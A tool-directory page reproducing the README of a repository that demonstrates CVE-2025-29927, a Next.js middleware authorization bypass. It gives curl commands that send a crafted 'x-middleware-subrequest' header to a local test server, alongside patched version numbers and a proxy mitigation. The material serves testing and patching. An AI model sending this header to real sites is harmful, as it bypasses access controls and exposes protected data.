Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/maronnjapan/claude-create-cve-2025-29927
Vulnerability AnalysisWeb Application ExploitationWeb SecurityLearning & Education
GitHubmaronnjapan/claude-create-cve-2025-29927

claude-create-CVE-2025-29927

Tests and demonstrates CVE-2025-29927, a Next.js middleware authorization bypass. Includes exploitation and normal access test scripts, plus remediation guidance.

View Repository
151 year agoNot yet reviewed
Share

Next.js Middleware Vulnerability Tester (CVE-2025-29927)

This application demonstrates the Next.js middleware authorization bypass vulnerability (CVE-2025-29927).

About The Vulnerability

CVE-2025-29927 is an authorization bypass vulnerability in Next.js middleware. By sending a specially crafted HTTP header (x-middleware-subrequest), an attacker can bypass authorization checks implemented in the middleware, potentially gaining access to protected resources.

Setup Instructions

  1. Install dependencies:

    cd /var/www/react-nextjs/test-middleware-skip
    npm install
    
  2. Run the development server:

    npm run dev
    
  3. The server will start on http://localhost:3000

Testing the Vulnerability

Normal Access (Should be Blocked)

Try accessing the protected route normally:

npm run test-normal

or

curl -v http://localhost:3000/protected-data

You should receive a 401 Unauthorized response, as the middleware blocks access.

Exploiting the Vulnerability

Try accessing the protected route with the exploit header:

npm run test-exploit

or

curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data

If the application is vulnerable, you'll receive a 200 OK response with the protected data.

Testing the API Route

Normal access (should be blocked):

curl -v http://localhost:3000/api/protected

With exploit:

curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected

Remediation

To fix this vulnerability, you should:

  1. Update Next.js to a patched version:

    • Next.js 15.x: Update to 15.2.3 or later
    • Next.js 14.x: Update to 14.2.25 or later
    • Next.js 13.x: Update to 13.5.9 or later
    • Next.js 12.x: Update to 12.3.5 or later
  2. If you cannot update, implement a reverse proxy (like Nginx or Cloudflare) that strips the x-middleware-subrequest header from incoming requests.

Additional Test Commands

Test if the API route is vulnerable:

# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected

# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected

Disclaimer

This tool is provided for educational and security testing purposes only. Use it to verify if your own Next.js applications are vulnerable and need patching.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    381
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    305

Explore all tools

Browse our collection of tools

View all tools →